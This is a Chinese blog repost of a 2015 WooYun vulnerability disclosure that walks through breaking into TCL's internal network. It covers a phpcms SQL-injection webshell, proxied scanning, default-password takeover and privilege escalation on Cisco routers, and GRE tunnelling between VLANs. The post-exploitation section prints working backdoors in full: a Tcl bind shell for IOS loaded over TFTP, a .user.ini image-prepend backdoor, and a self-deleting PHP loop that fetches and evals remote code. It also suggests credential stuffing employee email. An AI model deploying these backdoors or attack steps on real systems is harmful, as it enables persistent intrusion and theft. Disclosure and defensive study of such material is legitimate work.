内网渗透学习
2015-12-11 20:34
387 查看
在乌云看到了这篇文章,看的我太爽了。
从TCL某漏洞看内网渗透教学分享之内网信息探测和后渗透准备
2015-02-27: 厂商已经确认,细节仅向厂商公开
2015-03-09: 细节向核心白帽子及相关领域专家公开
2015-03-19: 细节向普通白帽子公开
2015-03-29: 细节向实习白帽子公开
2015-04-04: 细节向公众公开
在内网渗透中,内网信息探测对你的渗透工作开展是否顺利至关重要,如果你能摸清楚目标内网的信息,就像开启了god mode
这个案例中,我们介绍几个基本的内网探测的手法,以及如何在实战中串联十八般武艺,获取这个god mode
url:bit.tcl.com
getshell很简单,phpcms的,一个Phpcms V9 uc api SQL的老洞直接getshell,拿到shell,权限很高,system
看看网卡信息
![](http://static.wooyun.org/wooyun/upload/201502/13180659679f02923fbe274c41659aedf816c380.png)
只有一块网卡,处于10.4.22的私网地址
在这里,如果我们想要通过这台机器对内网进行渗透,首要工作就是进行内网探测,介绍几个方法
0x00如果你只是需要对内网的业务主机进行渗透,那么可以优先查看一下hosts,针对hosts中的主机针对性渗透
0x01如果想要对整个C段主机进行渗透,比较完整方便的方法还是扫描,这里就需要我们进行内网代理,然后扫描
正向代理or反向代理,因为此处主机无法通外网,所以我们选择正向代理
一个我常用的代理reGeorg
https://github.com/sensepost/reGeorg
上传代理脚本,然后用regerog尽心代理链接(regeorg需要urllib3,所以各位需要用到时,先安装这个模块)
![](http://static.wooyun.org/wooyun/upload/201502/13181931a6aaf991885237a95da40f2d39be40d0.png)
用nmap等进行代理扫描,很简单可以使用proxychains或者win 下使用proxycap
因为我们这里指定的端口时2333,所以修改一下proxychains的conf
![](http://static.wooyun.org/wooyun/upload/201502/13182255dc99afcf0c001540544341ae5a52464d.png)
以此来尽心内网C段的信息探测
0x02当然,仅仅通过扫描,并不能获取到最全面的信息,最全面的信息,要么就是我们拿到了内网拓扑,或者,我直接日下了路由器
路由器,走你~
通过之前的nmap扫描,我们大概知道了开放web服务的主机
![](http://static.wooyun.org/wooyun/upload/201502/1318261820601690c18422f49b4064de2af76da7.png)
访问11,12,13三台主机后,发现时cisco的路由器,且是开放web管理的cisco路由器,默认密码cisco成功进入
![](http://static.wooyun.org/wooyun/upload/201502/1318281987e8f7cbfdbd970d85583b663def0f47.png)
开放web管理的思科路由是可以在web端执行命令的,但是我们的路由权限只是1,cisco的权限分级大概是这样:
管理员是7 ,但是有15个权限分级,15的权限基本属于为所欲为权限
在这里,因为看到当前路由ios版本号是
![](http://static.wooyun.org/wooyun/upload/201502/131833253837362887323582f7c0b8d9ff661b8d.png)
低版本的iOS可以利用我之前的一个老洞进行cisco路由提权
因为在web端,可以用privilege15进行命令操作
![](http://static.wooyun.org/wooyun/upload/201502/131836593692ee3d25d02d8181ce897a005569dc.png)
这样我们就拥有了一个privilege15的用户,赶紧telnet进路由看看配置,一定会有惊喜
![](http://static.wooyun.org/wooyun/upload/201502/13183839b5a9b95e2b5542b0c1f38eb9b4e48435.png)
看到我们确实拿到了privilege15的用户
那么,来瞅瞅路由配置吧
code 区域
几个业务,DB,办公的vlan跃然于眼前,当前我们实在web vlan的
其他两台路由也一样到玩法
===================分割线==================
那么有的同学就问了,如果我不满足于在web vlan闹腾,如果我作为一个黑阔,我要去办公vlan去耍怎么办,哟西~既然我们都已经控制了路由啦,当然可以去闹!
因为我不是运维狗,所以咨询了z8大屌,他告诉我,少年,你听过GRE隧道么,诶嘿~
code 区域
http://itchenyi.blog.51cto.com/4745638/1137143 http://www.codesky.net/article/201207/171461.html
大家可以参考这两个地方
通过GRE隧道配置,我们就可以跑到另外一个vlan去闹了~
(做人留一线,日后好相见,就不截图call_center的vlan了,渗透其网段的思路也和之前介绍的一样)
=========分割线==============
那么又有同学举手了,如果我渗透的目标无法短时间内就完成,需要进行后渗透,我怎么样才能让我之后的渗透也方便呢?
好的,同学你很猥琐,这里介绍几个平时我们工作中常用的留后门多法子
首先,这个cisco的路由后门,我们肯定要优先留一个
cisco路由器支持TCL cisco脚本,所以我们的后门也通过这个来完成
code 区域
这是老外写的一个后门,先在路由中开启tclsh模式,然后引入后门脚本
Router#tclsh
Router(tcl)#source tftp://x.x.x.x/backdoor.tcl
这样我们就留下来后门,下次链接可以直接在网段内的机器直接
nc 路由ip 1234(端口在后门脚本中修改)
ok,如果web的入口断了,这一切都白搭,所以我们还应该对web的机器留下比较隐藏的后门
说两个,一个是文件形的后门
这个办法之前phinthon老师已经说过了,就是通过php.ini或者user.ini留后门
在一个有正常php文件的目录下新建一个.user.ini
内容为
auto_prepend_file=xxx.gif(png/jpg)之类
而你的xxx.gif之类就是你的后门
具体可以参考http://drops.wooyun.org/tips/3424
第二个办法,非文件形的后门,这样的后门优势在于非常隐蔽,一般的网管都发现不了,但是有一个非常大的缺点,重启,或者进程中断后门就消失了
原理大概是:后门的代码第一行删除自身,然后驻留在后台内存里,等待外部链接
code 区域
在xxx.txt中写入你的后门代码,访问后就会删除自己并循环执行txt的代码,这是之前某人写过的了
ztz最近有写了一个更赞的无文件后门,你们快去找他要
除了这样的,如果主机是linux,也可以用前段时间猪猪侠说的crontab做后门
因为我们这里是概念性的测试,所以尺度不能太大,但是,如果我是一个黑客,我接下来会做的事儿:
利用tunna转发3389出外网链接(但是在这个场景中,出外网限制了部分端口,但是可以查询dns,我们应该利用端口复用的方式),远程桌面后扩大战果(嗅探其他机器)
读数据库我们看到了很多tcl的员工用户数据,可以直接对tcl的企业邮箱直接撞裤攻击
![](http://static.wooyun.org/wooyun/upload/201502/1319171813e16236893da46ebbdbffdc6eea278e.png)
因为路由器搞定了,跨vlan到另外的段,继续进行渗透
概念性证明图:
![](http://static.wooyun.org/wooyun/upload/201502/13192058f9cdcbea674b6e990f88690af25391f8.png)
![](http://static.wooyun.org/wooyun/upload/201502/13192121d3d22dcb60e746ea2f2935bd5a86d845.png)
![](http://static.wooyun.org/wooyun/upload/201502/131921397a9f30c0cdbca2fc55600e48202fcc0f.png)
外部业务,及时打补丁,控制权限
内网弱口令问题
内网主机及时补丁
路由器及时升级
你们的OPS后台还存在测试用户登陆的问题,此处的漏洞说明就不截图了
漏洞Rank:20
确认时间:2015-02-27 15:45
从TCL某漏洞看内网渗透教学分享之内网信息探测和后渗透准备
![](http://www.wooyun.org/images/credit.png)
披露状态:
2015-02-18: 细节已通知厂商并且等待厂商处理中2015-02-27: 厂商已经确认,细节仅向厂商公开
2015-03-09: 细节向核心白帽子及相关领域专家公开
2015-03-19: 细节向普通白帽子公开
2015-03-29: 细节向实习白帽子公开
2015-04-04: 细节向公众公开
简要描述:
本来打算发人人网的,但是苦逼的是我刚进去内网就貌似被t出来了,服务器直接宕了,等下次案例发人人或者其他厂商吧在内网渗透中,内网信息探测对你的渗透工作开展是否顺利至关重要,如果你能摸清楚目标内网的信息,就像开启了god mode
这个案例中,我们介绍几个基本的内网探测的手法,以及如何在实战中串联十八般武艺,获取这个god mode
详细说明:
常规的,从web业务撕开口子url:bit.tcl.com
getshell很简单,phpcms的,一个Phpcms V9 uc api SQL的老洞直接getshell,拿到shell,权限很高,system
看看网卡信息
![](http://static.wooyun.org/wooyun/upload/201502/13180659679f02923fbe274c41659aedf816c380.png)
只有一块网卡,处于10.4.22的私网地址
在这里,如果我们想要通过这台机器对内网进行渗透,首要工作就是进行内网探测,介绍几个方法
0x00如果你只是需要对内网的业务主机进行渗透,那么可以优先查看一下hosts,针对hosts中的主机针对性渗透
0x01如果想要对整个C段主机进行渗透,比较完整方便的方法还是扫描,这里就需要我们进行内网代理,然后扫描
正向代理or反向代理,因为此处主机无法通外网,所以我们选择正向代理
一个我常用的代理reGeorg
https://github.com/sensepost/reGeorg
上传代理脚本,然后用regerog尽心代理链接(regeorg需要urllib3,所以各位需要用到时,先安装这个模块)
![](http://static.wooyun.org/wooyun/upload/201502/13181931a6aaf991885237a95da40f2d39be40d0.png)
用nmap等进行代理扫描,很简单可以使用proxychains或者win 下使用proxycap
因为我们这里指定的端口时2333,所以修改一下proxychains的conf
![](http://static.wooyun.org/wooyun/upload/201502/13182255dc99afcf0c001540544341ae5a52464d.png)
以此来尽心内网C段的信息探测
0x02当然,仅仅通过扫描,并不能获取到最全面的信息,最全面的信息,要么就是我们拿到了内网拓扑,或者,我直接日下了路由器
路由器,走你~
通过之前的nmap扫描,我们大概知道了开放web服务的主机
![](http://static.wooyun.org/wooyun/upload/201502/1318261820601690c18422f49b4064de2af76da7.png)
访问11,12,13三台主机后,发现时cisco的路由器,且是开放web管理的cisco路由器,默认密码cisco成功进入
![](http://static.wooyun.org/wooyun/upload/201502/1318281987e8f7cbfdbd970d85583b663def0f47.png)
开放web管理的思科路由是可以在web端执行命令的,但是我们的路由权限只是1,cisco的权限分级大概是这样:
管理员是7 ,但是有15个权限分级,15的权限基本属于为所欲为权限
在这里,因为看到当前路由ios版本号是
![](http://static.wooyun.org/wooyun/upload/201502/131833253837362887323582f7c0b8d9ff661b8d.png)
低版本的iOS可以利用我之前的一个老洞进行cisco路由提权
因为在web端,可以用privilege15进行命令操作
![](http://static.wooyun.org/wooyun/upload/201502/131836593692ee3d25d02d8181ce897a005569dc.png)
这样我们就拥有了一个privilege15的用户,赶紧telnet进路由看看配置,一定会有惊喜
![](http://static.wooyun.org/wooyun/upload/201502/13183839b5a9b95e2b5542b0c1f38eb9b4e48435.png)
看到我们确实拿到了privilege15的用户
那么,来瞅瞅路由配置吧
code 区域
DZSW-3560-A#en en DZSW-3560-A#show running-config show running-config Building configuration... Current configuration : 3678 bytes ! version 12.2 no service pad service timestamps debug uptime service timestamps log uptime service password-encryption ! hostname DZSW-3560-A ! enable password 7 121A0C041104 ! username admin privilege 15 password 7 1543595F507F7D no aaa new-model system mtu routing 1500 vtp mode transparent ip subnet-zero ip routing ! ! ! ! --More-- ! ! no file verify auto spanning-tree mode pvst spanning-tree extend system-id ! vlan internal allocation policy ascending ! vlan 218 name Call_Center ! vlan 220 ! vlan 222 name WEB ! vlan 223 name DB ! ! interface Port-channel1 switchport trunk encapsulation dot1q switchport mode trunk ! interface Port-channel2 description Connect_To_YDBFZX-C3750_Po1 no switchport ip address 10.68.3.2 255.255.255.252 ! interface GigabitEthernet0/1 switchport access vlan 218 switchport mode access ! interface GigabitEthernet0/2 switchport access vlan 222 switchport mode access ! interface GigabitEthernet0/3 switchport access vlan 222 switchport mode access ! interface GigabitEthernet0/4 switchport access vlan 222 switchport mode access ! interface GigabitEthernet0/5 switchport access vlan 222 switchport mode access ! interface GigabitEthernet0/6 switchport access vlan 222 switchport mode access ! interface GigabitEthernet0/7 switchport access vlan 222 switchport mode access ! interface GigabitEthernet0/8 switchport access vlan 222 switchport mode access ! interface GigabitEthernet0/9 switchport access vlan 222 switchport mode access ! interface GigabitEthernet0/10 switchport access vlan 222 switchport mode access !
几个业务,DB,办公的vlan跃然于眼前,当前我们实在web vlan的
其他两台路由也一样到玩法
===================分割线==================
那么有的同学就问了,如果我不满足于在web vlan闹腾,如果我作为一个黑阔,我要去办公vlan去耍怎么办,哟西~既然我们都已经控制了路由啦,当然可以去闹!
因为我不是运维狗,所以咨询了z8大屌,他告诉我,少年,你听过GRE隧道么,诶嘿~
code 区域
GRE 是一种最传统的隧道协议,其根本功能就是要实现隧道功能,通过隧道连接的两个远程网络就如同直连,GRE在两个远程网络之间模拟出直连链路,从而使网络间 达到直连的效果
http://itchenyi.blog.51cto.com/4745638/1137143 http://www.codesky.net/article/201207/171461.html
大家可以参考这两个地方
通过GRE隧道配置,我们就可以跑到另外一个vlan去闹了~
(做人留一线,日后好相见,就不截图call_center的vlan了,渗透其网段的思路也和之前介绍的一样)
=========分割线==============
那么又有同学举手了,如果我渗透的目标无法短时间内就完成,需要进行后渗透,我怎么样才能让我之后的渗透也方便呢?
好的,同学你很猥琐,这里介绍几个平时我们工作中常用的留后门多法子
首先,这个cisco的路由后门,我们肯定要优先留一个
cisco路由器支持TCL cisco脚本,所以我们的后门也通过这个来完成
code 区域
# TclShell.tcl v0.1 by Andy Davis, IRM 2007 # # IRM accepts no responsibility for the misuse of this code # It is provided for demonstration purposes only proc callback {sock addr port} { fconfigure $sock -translation lf -buffering line puts $sock " " puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-" puts $sock "TclShell v0.1 by Andy Davis, IRM 2007" puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-" puts $sock " " set response [exec "sh ver | inc IOS"] puts $sock $response set response [exec "sh priv"] puts $sock $response puts $sock " " puts $sock "Enter IOS command:" fileevent $sock readable [list echo $sock] } proc echo {sock} { global var if {[eof $sock] || [catch {gets $sock line}]} { } else { set response [exec "$line"] puts $sock $response } } set port 1234 set sh [socket -server callback $port] vwait var close $sh
这是老外写的一个后门,先在路由中开启tclsh模式,然后引入后门脚本
Router#tclsh
Router(tcl)#source tftp://x.x.x.x/backdoor.tcl
这样我们就留下来后门,下次链接可以直接在网段内的机器直接
nc 路由ip 1234(端口在后门脚本中修改)
ok,如果web的入口断了,这一切都白搭,所以我们还应该对web的机器留下比较隐藏的后门
说两个,一个是文件形的后门
这个办法之前phinthon老师已经说过了,就是通过php.ini或者user.ini留后门
在一个有正常php文件的目录下新建一个.user.ini
内容为
auto_prepend_file=xxx.gif(png/jpg)之类
而你的xxx.gif之类就是你的后门
具体可以参考http://drops.wooyun.org/tips/3424
第二个办法,非文件形的后门,这样的后门优势在于非常隐蔽,一般的网管都发现不了,但是有一个非常大的缺点,重启,或者进程中断后门就消失了
原理大概是:后门的代码第一行删除自身,然后驻留在后台内存里,等待外部链接
code 区域
<?php unlink($_SERVER['SCRIPT_FILENAME']); ignore_user_abort(true); set_time_limit(0); $remote_file = 'http://xxx/xxx.txt'; while($code = file_get_contents($remote_file)){ @eval($code); sleep(5); }; ?>
在xxx.txt中写入你的后门代码,访问后就会删除自己并循环执行txt的代码,这是之前某人写过的了
ztz最近有写了一个更赞的无文件后门,你们快去找他要
除了这样的,如果主机是linux,也可以用前段时间猪猪侠说的crontab做后门
漏洞证明:
我们来大概总结一下这次渗透,首先通过外部业务撕开入口,通过代理的方式对内网进行探测,发现了cisco路由,于是利用之前的漏洞进行提权,搞定了路由器,整个vlan划分展露无遗,开启god mode因为我们这里是概念性的测试,所以尺度不能太大,但是,如果我是一个黑客,我接下来会做的事儿:
利用tunna转发3389出外网链接(但是在这个场景中,出外网限制了部分端口,但是可以查询dns,我们应该利用端口复用的方式),远程桌面后扩大战果(嗅探其他机器)
读数据库我们看到了很多tcl的员工用户数据,可以直接对tcl的企业邮箱直接撞裤攻击
![](http://static.wooyun.org/wooyun/upload/201502/1319171813e16236893da46ebbdbffdc6eea278e.png)
因为路由器搞定了,跨vlan到另外的段,继续进行渗透
概念性证明图:
![](http://static.wooyun.org/wooyun/upload/201502/13192058f9cdcbea674b6e990f88690af25391f8.png)
![](http://static.wooyun.org/wooyun/upload/201502/13192121d3d22dcb60e746ea2f2935bd5a86d845.png)
![](http://static.wooyun.org/wooyun/upload/201502/131921397a9f30c0cdbca2fc55600e48202fcc0f.png)
修复方案:
修复主要看这么几个地方:外部业务,及时打补丁,控制权限
内网弱口令问题
内网主机及时补丁
路由器及时升级
你们的OPS后台还存在测试用户登陆的问题,此处的漏洞说明就不截图了
版权声明:转载请注明来源 redrain有节操@乌云
漏洞回应
厂商回应:
危害等级:高漏洞Rank:20
确认时间:2015-02-27 15:45
厂商回复:
非常感谢您的反馈,我们将会联系酷友公司进行相应的调整。相关文章推荐
- Tomcat环境变量的配置
- SQL 改写 max decode 联合应用
- HTML5 总结 (1)
- tinyos学习笔记2--由"="引出的问题(Blink例程的学习)
- Mybatis 二级缓存
- 集合set
- 7_排序二叉树
- 异常处理
- hdu 4284Travel(状压dp 或 floyd+dfs)
- 判断闰年
- Partition table的switch条件1:结构相同(类型,nullability)
- UILabel的size根据文字的长短变化
- H264,aac rtmp
- 数据结构再学习-散列表(哈希表)实现
- 循环删除List集合的错误
- 欢迎使用CSDN-markdown编辑器
- bzoj3309 DZY Loves Math 数论
- 阅读分词核心代码的 几点感触
- ERP调研之 对话
- 【C++ in Qt5】一个简单的通讯录程序,支持文件存取